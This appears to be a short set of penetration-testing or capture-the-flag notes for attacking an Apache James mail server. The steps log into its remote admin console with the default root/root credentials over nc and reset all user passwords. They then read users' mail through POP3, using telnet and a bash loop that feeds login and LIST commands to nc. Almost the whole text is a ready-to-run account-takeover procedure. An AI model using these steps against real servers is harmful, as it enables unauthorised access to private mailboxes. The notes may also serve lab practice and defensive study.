1. First need to reset the password. Login to James remote admin via nc: nc IP PORT (default 4555). Then login using root root. help to see the commands. reset all user password.
2. Use telnet to interact with the POP3 server: telnet IP PORT (default 110)
3. then login using: user username pass password
4. Show emails using list
5. Optional two liner bash to see which person has email content:

   for user in user1 user2 user3 user4 user5 user6; do
    ( echo USER ${user}; sleep 2s; echo PASS password; sleep 2s; echo LIST; sleep 2s; echo quit) | nc -nvC IP PORT;  done
   

6. If got a list, use retr number to read the email listed. (eg retr 1, retr 2)